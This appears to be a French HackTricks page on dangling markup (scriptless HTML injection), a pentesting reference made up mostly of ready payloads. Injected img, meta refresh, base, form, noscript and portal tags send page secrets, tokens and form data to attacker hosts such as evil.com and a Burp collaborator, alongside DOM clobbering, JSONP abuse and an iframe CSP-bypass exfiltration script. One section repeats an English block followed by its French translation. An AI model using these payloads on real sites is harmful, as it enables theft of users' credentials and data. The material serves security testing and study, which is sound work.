19 KiB
Dangling Markup - Injection HTML sans script
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? Ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Résumé
Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une injection HTML est trouvée. Cela est très utile si vous ne trouvez aucun moyen d'exploiter un XSS mais que vous pouvez injecter certaines balises HTML.
C'est également utile si un secret est enregistré en clair dans le HTML et que vous souhaitez l'exfiltrer du client, ou si vous souhaitez tromper l'exécution d'un script.
Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines politiques de sécurité du contenu en exfiltrant des informations de manière inattendue (balises HTML, CSS, balises http-meta, formulaires, base...).
Principales applications
Vol de secrets en texte clair
Si vous injectez <img src='http://evil.com/log.cgi?
lorsque la page est chargée, la victime vous enverra tout le code entre la balise img
injectée et la prochaine guillemet à l'intérieur du code. Si un secret est situé dans ce morceau, vous le volerez (vous pouvez faire la même chose en utilisant une guillemet double, regardez ce qui pourrait être plus intéressant à utiliser).
Si la balise img
est interdite (en raison de la CSP par exemple), vous pouvez également utiliser <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
.
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Notez que Chrome bloque les URL HTTP contenant "<" ou "\n", vous pouvez donc essayer d'autres schémas de protocole comme "ftp".
Vous pouvez également abuser de CSS @import
(cela enverra tout le code jusqu'à ce qu'il trouve un ";").
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Vous pouvez également utiliser <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
Vous pouvez également insérer une balise <base
. Toutes les informations seront envoyées jusqu'à ce que la citation soit fermée, mais cela nécessite une interaction de l'utilisateur (l'utilisateur doit cliquer sur un lien, car la balise base aura modifié le domaine pointé par le lien) :
<base target=' <--- Injected
steal me'<b>test</b>
Vol de formulaires
Description
In some cases, web applications may have forms that are not properly secured, allowing an attacker to steal sensitive information entered by users. This technique is known as form stealing or formjacking.
Vulnerability
The vulnerability occurs when a web application fails to implement proper security measures to protect user input. This can happen due to various reasons, such as improper validation, lack of input sanitization, or insecure storage of user data.
Exploitation
To exploit this vulnerability, an attacker can inject malicious code into the web application, typically through scriptless injection techniques. This code is designed to capture user input, such as login credentials, credit card information, or personal details, and send it to a remote server controlled by the attacker.
Mitigation
To mitigate the risk of form stealing attacks, web developers should implement proper security measures, including:
- Input validation and sanitization to prevent malicious code injection.
- Secure storage of user data, such as using encryption or hashing algorithms.
- Regular security audits and vulnerability assessments to identify and fix any potential vulnerabilities.
- Keeping software and plugins up to date to ensure the latest security patches are applied.
Description
Dans certains cas, les applications web peuvent avoir des formulaires qui ne sont pas correctement sécurisés, ce qui permet à un attaquant de voler des informations sensibles saisies par les utilisateurs. Cette technique est connue sous le nom de vol de formulaires ou de formjacking.
Vulnérabilité
La vulnérabilité se produit lorsque une application web ne met pas en place les mesures de sécurité appropriées pour protéger les entrées des utilisateurs. Cela peut se produire pour diverses raisons, telles qu'une validation incorrecte, un manque de sanitisation des entrées ou un stockage non sécurisé des données utilisateur.
Exploitation
Pour exploiter cette vulnérabilité, un attaquant peut injecter du code malveillant dans l'application web, généralement par le biais de techniques d'injection sans script. Ce code est conçu pour capturer les saisies des utilisateurs, telles que les identifiants de connexion, les informations de carte de crédit ou les coordonnées personnelles, et les envoyer à un serveur distant contrôlé par l'attaquant.
Atténuation
Pour atténuer le risque d'attaques de vol de formulaires, les développeurs web doivent mettre en place des mesures de sécurité appropriées, notamment :
- La validation et la sanitisation des entrées pour prévenir l'injection de code malveillant.
- Le stockage sécurisé des données utilisateur, par exemple en utilisant le chiffrement ou des algorithmes de hachage.
- Des audits de sécurité réguliers et des évaluations des vulnérabilités pour identifier et corriger les éventuelles failles.
- Maintenir à jour les logiciels et les plugins pour garantir l'application des derniers correctifs de sécurité.
<base href='http://evil.com/'>
Ensuite, les formulaires qui envoient des données vers un chemin (comme <form action='update_profile.php'>
) enverront les données vers le domaine malveillant.
Vol de formulaires 2
Définissez un en-tête de formulaire : <form action='http://evil.com/log_steal'>
cela écrasera l'en-tête du formulaire suivant et toutes les données du formulaire seront envoyées à l'attaquant.
Vol de formulaires 3
Le bouton peut modifier l'URL vers laquelle les informations du formulaire vont être envoyées avec l'attribut "formaction":
<button name=xss type=submit formaction='https://google.com'>I get consumed!
Un attaquant peut utiliser cela pour voler les informations.
Vol de secrets en texte clair 2
En utilisant la dernière technique mentionnée pour voler des formulaires (en injectant un nouvel en-tête de formulaire), vous pouvez ensuite injecter un nouveau champ de saisie :
<input type='hidden' name='review_body' value="
et ce champ de saisie contiendra tout le contenu entre ses guillemets et les guillemets suivants dans le HTML. Cette attaque mélange "Vol de secrets en texte clair" avec "Vol de formulaires2".
Vous pouvez faire la même chose en injectant un formulaire et une balise <option>
. Toutes les données jusqu'à ce qu'une balise </option>
fermée soit trouvée seront envoyées :
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Injection de paramètre de formulaire
Vous pouvez modifier le chemin d'un formulaire et insérer de nouvelles valeurs afin qu'une action inattendue soit effectuée :
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
Vol de secrets en texte clair via noscript
<noscript></noscript>
est une balise dont le contenu sera interprété si le navigateur ne prend pas en charge JavaScript (vous pouvez activer/désactiver JavaScript dans Chrome à l'adresse chrome://settings/content/javascript).
Une façon d'exfiltrer le contenu de la page web depuis le point d'injection jusqu'en bas vers un site contrôlé par l'attaquant sera d'injecter ceci :
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Contournement de CSP avec interaction utilisateur
À partir de cette recherche de PortSwigger, vous pouvez apprendre que même dans les environnements les plus restreints par CSP, vous pouvez toujours exfiltrer des données avec une certaine interaction utilisateur. Cette fois-ci, nous allons utiliser la charge utile :
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Notez que vous demanderez à la victime de cliquer sur un lien qui le redirigera vers une charge utile contrôlée par vous. Notez également que l'attribut target
à l'intérieur de la balise base
contiendra du contenu HTML jusqu'à la prochaine apostrophe.
Cela fera en sorte que la valeur de window.name
lorsque le lien est cliqué sera tout ce contenu HTML. Par conséquent, comme vous contrôlez la page à laquelle la victime accède en cliquant sur le lien, vous pouvez accéder à cette window.name
et exfiltrer ces données :
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Flux de travail trompeur 1 - Attaque de l'espace de noms HTML
Insérez une nouvelle balise avec un identifiant à l'intérieur de l'HTML qui écrasera la suivante et avec une valeur qui affectera le flux d'un script. Dans cet exemple, vous sélectionnez avec qui une information va être partagée:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Flux de travail trompeur du script 2 - Attaque de l'espace de noms du script
Créez des variables à l'intérieur de l'espace de noms du javascript en insérant des balises HTML. Ensuite, cette variable affectera le flux de l'application:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
Abus de JSONP
Si vous trouvez une interface JSONP, vous pourriez être en mesure d'appeler une fonction arbitraire avec des données arbitraires :
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Ou vous pouvez même essayer d'exécuter du javascript:
<script src='/search?q=a&call=alert(1)'></script>
Abus de l'élément iframe
Notez qu'un document enfant peut afficher et définir la propriété de localisation du parent, même s'il est en provenance d'un autre domaine. Cela signifie que vous pouvez faire en sorte que le client accède à n'importe quelle autre page en chargeant à l'intérieur d'un iframe du code tel que :
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
Cela peut être atténué avec quelque chose comme : sandbox=’ allow-scripts allow-top-navigation’
Un iframe peut également être utilisé pour divulguer des informations sensibles à partir d'une autre page en utilisant l'attribut name de l'iframe. Cela est possible car vous pouvez créer un iframe qui s'iframe lui-même en abusant de l'injection HTML qui fait apparaître les informations sensibles à l'intérieur de l'attribut name de l'iframe et ensuite y accéder depuis l'iframe initial et les divulguer.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
Pour plus d'informations, consultez https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta abus
Vous pouvez utiliser meta http-equiv
pour effectuer plusieurs actions telles que définir un cookie : <meta http-equiv="Set-Cookie" Content="SESSID=1">
ou effectuer une redirection (dans 5s dans ce cas) : <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Cela peut être évité avec une CSP concernant http-equiv (Content-Security-Policy: default-src 'self';
, ou Content-Security-Policy: http-equiv 'self';
)
Nouvelle balise HTML <portal
Vous pouvez trouver une recherche très intéressante sur les vulnérabilités exploitables de la balise <portal ici.
Au moment de la rédaction de cet article, vous devez activer la balise portal sur Chrome dans chrome://flags/#enable-portals
sinon cela ne fonctionnera pas.
<portal src='https://attacker-server?
Fuites HTML
Toutes les façons de divulguer la connectivité en HTML ne seront pas utiles pour le Dangling Markup, mais parfois cela pourrait aider. Consultez-les ici: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
Fuites SS
Il s'agit d'un mélange entre dangling markup et XS-Leaks. D'un côté, la vulnérabilité permet d'injecter du HTML (mais pas de JS) dans une page de la même origine que celle que nous attaquerons. D'un autre côté, nous n'attaquerons pas directement la page où nous pouvons injecter du HTML, mais une autre page.
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Search/XS-Leaks
XS-Search est orienté vers l'exfiltration d'informations entre origines en exploitant des attaques de canal secondaire. Par conséquent, il s'agit d'une technique différente du Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution de JS), comme l'injection CSS ou le chargement paresseux des images.
{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}
Liste de détection de force brute
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
Références
Toutes les techniques présentées ici et plus encore peuvent être consultées en détail sur:
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
D'autres balises HTML qui peuvent être abusées peuvent être trouvées ici:
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
Plus d'informations:
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.